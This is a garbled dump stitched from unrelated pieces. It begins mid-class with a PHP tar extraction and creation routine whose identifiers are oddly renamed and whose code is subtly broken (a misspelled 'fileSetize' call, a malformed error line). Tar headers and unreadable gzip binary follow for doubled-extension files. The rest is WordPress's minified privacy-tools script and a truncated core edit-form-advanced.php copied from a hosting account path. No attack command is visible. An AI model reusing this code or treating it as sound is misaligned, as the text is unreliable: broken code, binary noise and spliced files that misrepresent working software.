		         		         	$this->errorList[] = __('Cannot write to file').' '.$header['filename'];

		         		         	return false;

		         		         } else {

		         		         	$decr = floor($header['size']/512);

		         		         	for ($i = 0; $i < $decr; $i++) {

		         		         		         $content = $this->retrieveDataBlock();

		         		         		         fwrite($destination, $content, 512);

		         		         	}
                         
		         		         	if (($header['size'] % 512) != 0) {

		         		         		         $content = $this->retrieveDataBlock();
		         		         		         fwrite($destination, $content, ($header['size'] % 512));

		         		         	}

		         		         	fclose($destination);
		         		         	touch($header['filename'], $header['time']);

		         		         }
		         		         clearstatcache();
                                     
		         		         if (fileSetize($header['filename']) != $header['size']) {
                            
		         		         	$this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
		         		         	return false;
                                   
		         		         }

		         	}
		         	if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
		         	if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
		         	$this->dirs[] = $file_dir;
                        
		         	$this->fileSet[] = $header['filename'];
	
		         }

		         return true;
	}

                                
	function dirCheck($dir){

		         $parent_dir = dirname($dir);
                                   

                                 
		         if ((@is_dir($dir)) or ($dir == ''))
                                        
		         	return true;


		         if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

		         	return false;

                                     
		         if (!mkdir($dir, 0777)){
		         	$this->errorList[] = __('Cannot create directory').' '.$dir;

		         	return false;

		         }

		         return true;
	}


	function fetchHeaderInfo($binaryData, &$header){
		         if (strlen($binaryData)==0){
		         	$header['filename'] = '';
		         	return true;
                                        
		         }


                                    
		         if (strlen($binaryData) != 512){
		         	$header['filename'] = '';

		         	$this->__('Invalid block size').': '.strlen($binaryData);
		         	return false;

		         }


		         $fileHash = 0;
		         for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1));

		         for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');
		         for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1));


		         $unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
                                  


		         $header['fileHash'] = OctDec(trim($unpack_data['fileHash']));
		         if ($header['fileHash'] != $fileHash){
                                
		         	$header['filename'] = '';

		         	if (($fileHash == 256) && ($header['fileHash'] == 0)) 	return true;

		         	$this->errorList[] = __('Error fileHash for file ').$unpack_data['filename'];
                                     
		         	return false;
                               
		         }

                                     
		         if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		         $header['filename'] = trim($unpack_data['filename']);

		         $header['mode'] = OctDec(trim($unpack_data['mode']));
                                     
		         $header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier']));

		         $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		         $header['size'] = OctDec(trim($unpack_data['size']));

		         $header['time'] = OctDec(trim($unpack_data['time']));

		         return true;

	}



	function insertHeaderInfo($filename, $keep_filename){

		         $packF = 'a100a8a8a8a12A12';
		         $packL = 'a1a100a6a2a32a32a8a8a155a12';
                                       
		         if (strlen($keep_filename)<=0) $keep_filename = $filename;

		         $filename_ready = $this->generateValidPath($keep_filename);

		         if (strlen($filename_ready) > 99){		         		         		         	//write long header
		         $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		         $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');



        //  Calculate the fileHash

		         $fileHash = 0;
        //  First part of the header

		         for ($i = 0; $i < 148; $i++)
		         	$fileHash += ord(substr($dataFirst, $i, 1));

        //  Ignore the fileHash value and replace it by ' ' (space)
		         for ($i = 148; $i < 156; $i++)
		         	$fileHash += ord(' ');

        //  Last part of the header
                                    
		         for ($i = 156, $j=0; $i < 512; $i++, $j++)

		         	$fileHash += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		         $this->saveDataBlock($dataFirst, 148);

        //  Write the calculated fileHash

		         $fileHash = sprintf('%6s ', DecOct($fileHash));
		         $binaryData = pack('a8', $fileHash);
                              
		         $this->saveDataBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
                            
		         $this->saveDataBlock($dataLast, 356);


                                 
		         $temporaryFilename = $this->generateValidPath($filename_ready);

		         $i = 0;
                                
		         	while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){
                        
		         		         $binaryData = pack('a512', $buffer);
		         		         $this->saveDataBlock($binaryData);
                                  
		         	}

		         return true;
		         }

		         $file_info = stat($filename);

		         if (@is_dir($filename)){
                              
		         	$typeflag = '5';

		         	$size = sprintf('%11s ', DecOct(0));
		         } else {
		         	$typeflag = '';

		         	clearstatcache();
                            
		         	$size = sprintf('%11s ', DecOct(fileSetize($filename)));

		         }

		         $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		         $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		         $fileHash = 0;

		         for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1));
                              
		         for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');

		         for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1));

		         $this->saveDataBlock($dataFirst, 148);

		         $fileHash = sprintf('%6s ', DecOct($fileHash));

		         $binaryData = pack('a8', $fileHash);
                                
		         $this->saveDataBlock($binaryData, 8);

		         $this->saveDataBlock($dataLast, 356);

		         return true;
	}
                              


	function initiateFileWrite(){
		         if ($this->isCompressedFile)
		         	$this->temporaryFile = gzopen($this->archiveTitle, 'wb9f');
                               
		         else

		         	$this->temporaryFile = fopen($this->archiveTitle, 'wb');


		         if (!($this->temporaryFile)){

		         	$this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle;
                           
		         	return false;

		         }
		         return true;
                                      
	}

                                       
	function retrieveDataBlock(){

		         if (is_resource($this->temporaryFile)){

		         	if ($this->isCompressedFile)

		         		         $block = gzread($this->temporaryFile, 512);

		         	else
                               
		         		         $block = fread($this->temporaryFile, 512);
                               
		         } else	$block = '';
                                

                             
		         return $block;
                                       
	}


	function saveDataBlock($data, $length = 0){

		         if (is_resource($this->temporaryFile)){
                                  
		         

		         	if ($length === 0){

		         		         if ($this->isCompressedFile)
                                   
		         		         	gzputs($this->temporaryFile, $data);
                               
		         		         else

		         		         	fputs($this->temporaryFile, $data);

		         	} else {
		         		         if ($this->isCompressedFile)

		         		         	gzputs($this->temporaryFile, $data, $length);
		         		         else

		         		         	fputs($this->temporaryFile, $data, $length);

		         	}
                        
		         }

	}


	function finalizeTempFile(){
		         if (is_resource($this->temporaryFile)){
                                        
		         	if ($this->isCompressedFile)

		         		         gzclose($this->temporaryFile);

		         	else

		         		         fclose($this->temporaryFile);



		         	$this->temporaryFile = 0;

		         }

	}



	function generateValidPath($path){
                                        
		         if (strlen($path)>0){
                                      
		         	$path = str_replace('\\', '/', $path);
		         	$partPath = explode('/', $path);

		         	$els = count($partPath)-1;

		         	for ($i = $els; $i>=0; $i--){

		         		         if ($partPath[$i] == '.'){

                    //  Ignore this directory
                          
                } elseif ($partPath[$i] == '..'){

                    $i--;

                }

		         		         elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else

		         		         	$result = $partPath[$i].($i!=$els ? '/'.$result : '');
		         	}
                                   
		         } else $result = '';
		         

		         return $result;

	}
                                  
}

?>
tags-box.min.js.min.js.tar.gz000064400000002623150276633110012020 0ustar00��W�r�6�s��F:2A�;NG
�I�>vڦys]L�$�Ȁ�%���HI���:���g��r��3�����*�I�C��eYJ�$��EO�s��e��i�;ϗ����������N�{5�x2|1x~t������ˣ�A0���|U(� ䷈�?\�g{���*���(����yoJ�������M*�X�k��7W�&^�����%g?�F�R��ʒa��-l��i���1���CEg:�ya��K[�����ؐ���d2�Vl7	
o8�C����5�a���q��o\NB�(��*g��U(�J4� ��e|�d$���A�����|/�ͱ��L�kZ�h���F�)]��Ȇ��?�g�S�jk��l<�~��m��6{�ؕD_��Aԕ(�)�=�8��"�6RiT�����%�=]�{,<��o��Q��%dΙC�L�BJ��&g�QϽ�U�2���&��(t�,HsB��i�����v|
F�1�%W�B ��*�\���D�bo�-�� �٪CXWI^��1�Ti�Y׈Hk
g*eᘢ����:.c�
��������7tyN�P|s�O�U���kg��"B��r�:��꼲6-��Y����l���w�۵�}$Fw̴Ec��_����7��G���L%{3���cfME8�w'�+q/���)��˔���n��g��꟏X�e�R4�s�ek��:)TF��%���%]�vЧv'�N6rt:����o�����@�srϲ��o��tQ�zNj�U�)��<���	U%�7>�5�l�j��:�#�#�w�yY��ym����,��퍣�w���#�ڬ�$�t�_���ɯ��C�'�t�:X�2��U��
O���q�|jR����<H�\G4ȫ�6BZ-�X�����c���j#�p-uQ;S�����p����w�>y�#7�d�謑�,+��J��.RZ�:��Y��8����rY�L�Ht��ȁ�T���r�V��퀳���ı8�A�F�����Eo��ZBmZT{����
�@ ���I[���R�醍�p�{ʺ
�$6��7�nW���׈1����VY;.ʺ��z�=�$���BF6n���A�*�0w�1\.���`�n��{S��*���Us���A1�A��&c2@qJ+� }�
���{��;����֡�;$u�֐��u>ֻ�h�GV쾤}��ux��b�w��+9��i�S��L�͋�pm��`�zC/?`���G
�yS�S'FV���~M�>۠m�p^�7]�%�)}�>�*��
�o�m�)-qՁ���ݧ�<������ �}��m�qh�lLJ�:GQ({s	��<�N3���j�/~��\��?!��q=���������Raccordion.min.js.min.js.tar.gz000064400000000772150276633110012240 0ustar00��S�n�0�y_�H�"�q��
c���e�a¢c��dHr���N� m
,��v�<R�#EU���@��I
�>���C%�$�v��&Y���:����kq*愛��Q?!�^��|q�ei�-ȿ�3����	vT�-j��H.'Ѳ�>*u���v�B���2�0);S�w�g�7by؊YaMM�1�t�.�;�)�5�8��������%�
��+@hn�?�y�����4��ƶ�E��P�7h�,���s��g�tq.��zZk6�@̅!�R���4��WF��I*J�|�g)f��H���<Ҷ�3����G��ӓ.�BY��\�ˤ��16l1�4+A��/���E�SK�hX��V5>s�0x�dΥ����M���LK������j��v鰱��p�2�+�eC����Q;��vĨ.<��n�v�xC����y{.3��qm߂�@6H�����c���}�}�g�q"~����
privacy-tools.min.js000064400000012025150276633110010503 0ustar00/*! This file is auto-generated */
jQuery(function(v){var r,h=wp.i18n.__;function w(e,t){e.children().addClass("hidden"),e.children("."+t).removeClass("hidden")}function x(e){e.removeClass("has-request-results"),e.next().hasClass("request-results")&&e.next().remove()}function T(e,t,a,o){var s="",n="request-results";x(e),o.length&&(v.each(o,function(e,t){s=s+"<li>"+t+"</li>"}),s="<ul>"+s+"</ul>"),e.addClass("has-request-results"),e.hasClass("status-request-confirmed")&&(n+=" status-request-confirmed"),e.hasClass("status-request-failed")&&(n+=" status-request-failed"),e.after(function(){return'<tr class="'+n+'"><th colspan="5"><div class="notice inline notice-alt '+t+'"><p>'+a+"</p>"+s+"</div></td></tr>"})}v(".export-personal-data-handle").on("click",function(e){var t=v(this),n=t.parents(".export-personal-data"),r=t.parents("tr"),a=r.find(".export-progress"),i=t.parents(".row-actions"),c=n.data("request-id"),d=n.data("nonce"),l=n.data("exporters-count"),u=!!n.data("send-as-email");function p(e){var t=h("An error occurred while attempting to export personal data.");w(n,"export-personal-data-failed"),e&&T(r,"notice-error",t,[e]),setTimeout(function(){i.removeClass("processing")},500)}function m(e){e=Math.round(100*(0<l?e/l:0)).toString()+"%";a.html(e)}e.preventDefault(),e.stopPropagation(),i.addClass("processing"),n.trigger("blur"),x(r),m(0),w(n,"export-personal-data-processing"),function t(o,s){v.ajax({url:window.ajaxurl,data:{action:"wp-privacy-export-personal-data",exporter:o,id:c,page:s,security:d,sendAsEmail:u},method:"post"}).done(function(e){var a=e.data;e.success?a.done?(m(o),o<l?setTimeout(t(o+1,1)):setTimeout(function(){var e,t;e=a.url,t=h("This user&#8217;s personal data export link was sent."),void 0!==e&&(t=h("This user&#8217;s personal data export file was downloaded.")),w(n,"export-personal-data-success"),T(r,"notice-success",t,[]),void 0!==e?window.location=e:u||p(h("No personal data export file was generated.")),setTimeout(function(){i.removeClass("processing")},500)},500)):setTimeout(t(o,s+1)):setTimeout(function(){p(e.data)},500)}).fail(function(e,t,a){setTimeout(function(){p(a)},500)})}(1,1)}),v(".remove-personal-data-handle").on("click",function(e){var t=v(this),n=t.parents(".remove-personal-data"),r=t.parents("tr"),a=r.find(".erasure-progress"),i=t.parents(".row-actions"),c=n.data("request-id"),d=n.data("nonce"),l=n.data("erasers-count"),u=!1,p=!1,m=[];function f(){var e=h("An error occurred while attempting to find and erase personal data.");w(n,"remove-personal-data-failed"),T(r,"notice-error",e,[]),setTimeout(function(){i.removeClass("processing")},500)}function g(e){e=Math.round(100*(0<l?e/l:0)).toString()+"%";a.html(e)}e.preventDefault(),e.stopPropagation(),i.addClass("processing"),n.trigger("blur"),x(r),g(0),w(n,"remove-personal-data-processing"),function a(o,s){v.ajax({url:window.ajaxurl,data:{action:"wp-privacy-erase-personal-data",eraser:o,id:c,page:s,security:d},method:"post"}).done(function(e){var t=e.data;e.success?(t.items_removed&&(u=u||t.items_removed),t.items_retained&&(p=p||t.items_retained),t.messages&&(m=m.concat(t.messages)),t.done?(g(o),o<l?setTimeout(a(o+1,1)):setTimeout(function(){var e,t;e=h("No personal data was found for this user."),t="notice-success",w(n,"remove-personal-data-success"),!1===u?!1===p?e=h("No personal data was found for this user."):(e=h("Personal data was found for this user but was not erased."),t="notice-warning"):!1===p?e=h("All of the personal data found for this user was erased."):(e=h("Personal data was found for this user but some of the personal data found was not erased."),t="notice-warning"),T(r,t,e,m),setTimeout(function(){i.removeClass("processing")},500)},500)):setTimeout(a(o,s+1))):setTimeout(function(){f()},500)}).fail(function(){setTimeout(function(){f()},500)})}(1,1)}),v(document).on("click",function(e){var t,a,e=v(e.target),o=e.siblings(".success");if(clearTimeout(r),e.is("button.privacy-text-copy")&&(t=e.closest(".privacy-settings-accordion-panel")).length)try{var s=document.documentElement.scrollTop,n=document.body.scrollTop;window.getSelection().removeAllRanges(),a=document.createRange(),t.addClass("hide-privacy-policy-tutorial"),a.selectNodeContents(t[0]),window.getSelection().addRange(a),document.execCommand("copy"),t.removeClass("hide-privacy-policy-tutorial"),window.getSelection().removeAllRanges(),0<s&&s!==document.documentElement.scrollTop?document.documentElement.scrollTop=s:0<n&&n!==document.body.scrollTop&&(document.body.scrollTop=n),o.addClass("visible"),wp.a11y.speak(h("The suggested policy text has been copied to your clipboard.")),r=setTimeout(function(){o.removeClass("visible")},3e3)}catch(e){}}),v("body.options-privacy-php label[for=create-page]").on("click",function(e){e.preventDefault(),v("input#create-page").trigger("focus")}),v(".privacy-settings-accordion").on("click",".privacy-settings-accordion-trigger",function(){"true"===v(this).attr("aria-expanded")?(v(this).attr("aria-expanded","false"),v("#"+v(this).attr("aria-controls")).attr("hidden",!0)):(v(this).attr("aria-expanded","true"),v("#"+v(this).attr("aria-controls")).attr("hidden",!1))})});edit-form-advanced.php.tar000064400000075000150276633110011501 0ustar00home/natitnen/crestassured.com/wp-admin/edit-form-advanced.php000064400000071204150274177140020472 0ustar00<?php
/**
 * Post advanced form for inclusion in the administration panels.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * @global string       $post_type
 * @global WP_Post_Type $post_type_object
 * @global WP_Post      $post             Global post object.
 */
global $post_type, $post_type_object, $post;

// Flag that we're not loading the block editor.
$current_screen = get_current_screen();
$current_screen->is_block_editor( false );

if ( is_multisite() ) {
	add_action( 'admin_footer', '_admin_notice_post_locked' );
} else {
	$check_users = get_users(
		array(
			'fields' => 'ID',
			'number' => 2,
		)
	);

	if ( count( $check_users ) > 1 ) {
		add_action( 'admin_footer', '_admin_notice_post_locked' );
	}

	unset( $check_users );
}

wp_enqueue_script( 'post' );

$_wp_editor_expand   = false;
$_content_editor_dfw = false;

if ( post_type_supports( $post_type, 'editor' )
	&& ! wp_is_mobile()
	&& ! ( $is_IE && preg_match( '/MSIE [5678]/', $_SERVER['HTTP_USER_AGENT'] ) )
) {
	/**
	 * Filters whether to enable the 'expand' functionality in the post editor.
	 *
	 * @since 4.0.0
	 * @since 4.1.0 Added the `$post_type` parameter.
	 *
	 * @param bool   $expand    Whether to enable the 'expand' functionality. Default true.
	 * @param string $post_type Post type.
	 */
	if ( apply_filters( 'wp_editor_expand', true, $post_type ) ) {
		wp_enqueue_script( 'editor-expand' );
		$_content_editor_dfw = true;
		$_wp_editor_expand   = ( 'on' === get_user_setting( 'editor_expand', 'on' ) );
	}
}

if ( wp_is_mobile() ) {
	wp_enqueue_script( 'jquery-touch-punch' );
}

/**
 * Post ID global
 *
 * @name $post_ID
 * @var int
 */
$post_ID = isset( $post_ID ) ? (int) $post_ID : 0;
$user_ID = isset( $user_ID ) ? (int) $user_ID : 0;
$action  = isset( $action ) ? $action : '';

if ( (int) get_option( 'page_for_posts' ) === $post->ID && empty( $post->post_content ) ) {
	add_action( 'edit_form_after_title', '_wp_posts_page_notice' );
	remove_post_type_support( $post_type, 'editor' );
}

$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );
if ( ! $thumbnail_support && 'attachment' === $post_type && $post->post_mime_type ) {
	if ( wp_attachment_is( 'audio', $post ) ) {
		$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
	} elseif ( wp_attachment_is( 'video', $post ) ) {
		$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
	}
}

if ( $thumbnail_support ) {
	add_thickbox();
	wp_enqueue_media( array( 'post' => $post->ID ) );
}

// Add the local autosave notice HTML.
add_action( 'admin_footer', '_local_storage_notice' );

/*
 * @todo Document the $messages array(s).
 */
$permalink = get_permalink( $post->ID );
if ( ! $permalink ) {
	$permalink = '';
}

$messages = array();

$preview_post_link_html   = '';
$scheduled_post_link_html = '';
$view_post_link_html      = '';

$preview_page_link_html   = '';
$scheduled_page_link_html = '';
$view_page_link_html      = '';

$preview_url = get_preview_post_link( $post );

$viewable = is_post_type_viewable( $post_type_object );

if ( $viewable ) {

	// Preview post link.
	$preview_post_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $preview_url ),
		__( 'Preview post' )
	);

	// Scheduled post preview link.
	$scheduled_post_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'Preview post' )
	);

	// View post link.
	$view_post_link_html = sprintf(
		' <a href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'View post' )
	);

	// Preview page link.
	$preview_page_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $preview_url ),
		__( 'Preview page' )
	);

	// Scheduled page preview link.
	$scheduled_page_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'Preview page' )
	);

	// View page link.
	$view_page_link_html = sprintf(
		' <a href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'View page' )
	);

}

$scheduled_date = sprintf(
	/* translators: Publish box date string. 1: Date, 2: Time. */
	__( '%1$s at %2$s' ),
	/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
	date_i18n( _x( 'M j, Y', 'publish box date format' ), strtotime( $post->post_date ) ),
	/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
	date_i18n( _x( 'H:i', 'publish box time format' ), strtotime( $post->post_date ) )
);

$messages['post']       = array(
	0  => '', // Unused. Messages start at index 1.
	1  => __( 'Post updated.' ) . $view_post_link_html,
	2  => __( 'Custom field updated.' ),
	3  => __( 'Custom field deleted.' ),
	4  => __( 'Post updated.' ),
	/* translators: %s: Date and time of the revision. */
	5  => isset( $_GET['revision'] ) ? sprintf( __( 'Post restored to revision from %s.' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
	6  => __( 'Post published.' ) . $view_post_link_html,
	7  => __( 'Post saved.' ),
	8  => __( 'Post submitted.' ) . $preview_post_link_html,
	/* translators: %s: Scheduled date for the post. */
	9  => sprintf( __( 'Post scheduled for: %s.' ), '<strong>' . $scheduled_date . '</strong>' ) . $scheduled_post_link_html,
	10 => __( 'Post draft updated.' ) . $preview_post_link_html,
);
$messages['page']       = array(
	0  => '', // Unused. Messages start at index 1.
	1  => __( 'Page updated.' ) . $view_page_link_html,
	2  => __( 'Custom field updated.' ),
	3  => __( 'Custom field deleted.' ),
	4  => __( 'Page updated.' ),
	/* translators: %s: Date and time of the revision. */
	5  => isset( $_GET['revision'] ) ? sprintf( __( 'Page restored to revision from %s.' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
	6  => __( 'Page published.' ) . $view_page_link_html,
	7  => __( 'Page saved.' ),
	8  => __( 'Page submitted.' ) . $preview_page_link_html,
	/* translators: %s: Scheduled date for the page. */
	9  => sprintf( __( 'Page scheduled for: %s.' ), '<strong>' . $scheduled_date . '</strong>' ) . $scheduled_page_link_html,
	10 => __( 'Page draft updated.' ) . $preview_page_link_html,
);
$messages['attachment'] = array_fill( 1, 10, __( 'Media file updated.' ) ); // Hack, for now.

/**
 * Filters the post updated messages.
 *
 * @since 3.0.0
 *
 * @param array[] $messages Post updated messages. For defaults see `$messages` declarations above.
 */
$messages = apply_filters( 'post_updated_messages', $messages );

$message = false;
if ( isset( $_GET['message'] ) ) {
	$_GET['message'] = absint( $_GET['message'] );
	if ( isset( $messages[ $post_type ][ $_GET['message'] ] ) ) {
		$message = $messages[ $post_type ][ $_GET['message'] ];
	} elseif ( ! isset( $messages[ $post_type ] ) && isset( $messages['post'][ $_GET['message'] ] ) ) {
		$message = $messages['post'][ $_GET['message'] ];
	}
}

$notice     = false;
$form_extra = '';
if ( 'auto-draft' === $post->post_status ) {
	if ( 'edit' === $action ) {
		$post->post_title = '';
	}
	$autosave    = false;
	$form_extra .= "<input type='hidden' id='auto_draft' name='auto_draft' value='1' />";
} else {
	$autosave = wp_get_post_autosave( $post->ID );
}

$form_action  = 'editpost';
$nonce_action = 'update-post_' . $post->ID;
$form_extra  .= "<input type='hidden' id='post_ID' name='post_ID' value='" . esc_attr( $post->ID ) . "' />";

// Detect if there exists an autosave newer than the post and if that autosave is different than the post.
if ( $autosave && mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) {
	foreach ( _wp_post_revision_fields( $post ) as $autosave_field => $_autosave_field ) {
		if ( normalize_whitespace( $autosave->$autosave_field ) !== normalize_whitespace( $post->$autosave_field ) ) {
			$notice = sprintf(
				/* translators: %s: URL to view the autosave. */
				__( 'There is an autosave of this post that is more recent than the version below. <a href="%s">View the autosave</a>' ),
				get_edit_post_link( $autosave->ID )
			);
			break;
		}
	}
	// If this autosave isn't different from the current post, begone.
	if ( ! $notice ) {
		wp_delete_post_revision( $autosave->ID );
	}
	unset( $autosave_field, $_autosave_field );
}

$post_type_object = get_post_type_object( $post_type );

// All meta boxes should be defined and added before the first do_meta_boxes() call (or potentially during the do_meta_boxes action).
require_once ABSPATH . 'wp-admin/includes/meta-boxes.php';

register_and_do_post_meta_boxes( $post );

add_screen_option(
	'layout_columns',
	array(
		'max'     => 2,
		'default' => 2,
	)
);

if ( 'post' === $post_type ) {
	$customize_display = '<p>' . __( 'The title field and the big Post Editing Area are fixed in place, but you can reposition all the other boxes using drag and drop. You can also minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'customize-display',
			'title'   => __( 'Customizing This Display' ),
			'content' => $customize_display,
		)
	);

	$title_and_editor  = '<p>' . __( '<strong>Title</strong> &mdash; Enter a title for your post. After you enter a title, you&#8217;ll see the permalink below, which you can edit.' ) . '</p>';
	$title_and_editor .= '<p>' . __( '<strong>Post editor</strong> &mdash; Enter the text for your post. There are two modes of editing: Visual and Text. Choose the mode by clicking on the appropriate tab.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'Visual mode gives you an editor that is similar to a word processor. Click the Toolbar Toggle button to get a second row of controls.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'The Text mode allows you to enter HTML along with your post text. Note that &lt;p&gt; and &lt;br&gt; tags are converted to line breaks when switching to the Text editor to make it less cluttered. When you type, a single line break can be used instead of typing &lt;br&gt;, and two line breaks instead of paragraph tags. The line breaks are converted back to tags automatically.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'You can insert media files by clicking the button above the post editor and following the directions. You can align or edit images using the inline formatting toolbar available in Visual mode.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'You can enable distraction-free writing mode using the icon to the right. This feature is not available for old browsers or devices with small screens, and requires that the full-height editor be enabled in Screen Options.' ) . '</p>';
	$title_and_editor .= '<p>' . sprintf(
		/* translators: %s: Alt + F10 */
		__( 'Keyboard users: When you are working in the visual editor, you can use %s to access the toolbar.' ),
		'<kbd>Alt + F10</kbd>'
	) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'title-post-editor',
			'title'   => __( 'Title and Post Editor' ),
			'content' => $title_and_editor,
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p>' . sprintf(
			/* translators: %s: URL to Press This bookmarklet. */
			__( 'You can also create posts with the <a href="%s">Press This bookmarklet</a>.' ),
			'tools.php'
		) . '</p>' .
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/write-posts-classic-editor/">Documentation on Writing and Editing Posts</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);
} elseif ( 'page' === $post_type ) {
	$about_pages = '<p>' . __( 'Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the &#8220;Parent&#8221; of the other, creating a group of pages.' ) . '</p>' .
		'<p>' . __( 'Creating a Page is very similar to creating a Post, and the screens can be customized in the same way using drag and drop, the Screen Options tab, and expanding/collapsing boxes as you choose. This screen also has the distraction-free writing space, available in both the Visual and Text modes via the Fullscreen buttons. The Page editor mostly works the same as the Post editor, but there are some Page-specific features in the Page Attributes box.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'about-pages',
			'title'   => __( 'About Pages' ),
			'content' => $about_pages,
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/pages-add-new-screen/">Documentation on Adding New Pages</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/pages-screen/">Documentation on Editing Pages</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);
} elseif ( 'attachment' === $post_type ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'overview',
			'title'   => __( 'Overview' ),
			'content' =>
				'<p>' . __( 'This screen allows you to edit fields for metadata in a file within the media library.' ) . '</p>' .
				'<p>' . __( 'For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information.' ) . '</p>' .
				'<p>' . __( 'Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping.' ) . '</p>' .
				'<p>' . __( 'Remember to click Update to save metadata entered or changed.' ) . '</p>',
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://wordpress.org/documentation/article/edit-media/">Documentation on Edit Media</a>' ) . '</p>' .
		'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);
}

if ( 'post' === $post_type || 'page' === $post_type ) {
	$inserting_media  = '<p>' . __( 'You can upload and insert media (images, audio, documents, etc.) by clicking the Add Media button. You can select from the images and files already uploaded to the Media Library, or upload new media to add to your page or post. To create an image gallery, select the images to add and click the &#8220;Create a new gallery&#8221; button.' ) . '</p>';
	$inserting_media .= '<p>' . __( 'You can also embed media from many popular websites including Twitter, YouTube, Flickr and others by pasting the media URL on its own line into the content of your post/page. <a href="https://wordpress.org/documentation/article/embeds/">Learn more about embeds</a>.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'inserting-media',
			'title'   => __( 'Inserting Media' ),
			'content' => $inserting_media,
		)
	);
}

if ( 'post' === $post_type ) {
	$publish_box  = '<p>' . __( 'Several boxes on this screen contain settings for how your content will be published, including:' ) . '</p>';
	$publish_box .= '<ul><li>' .
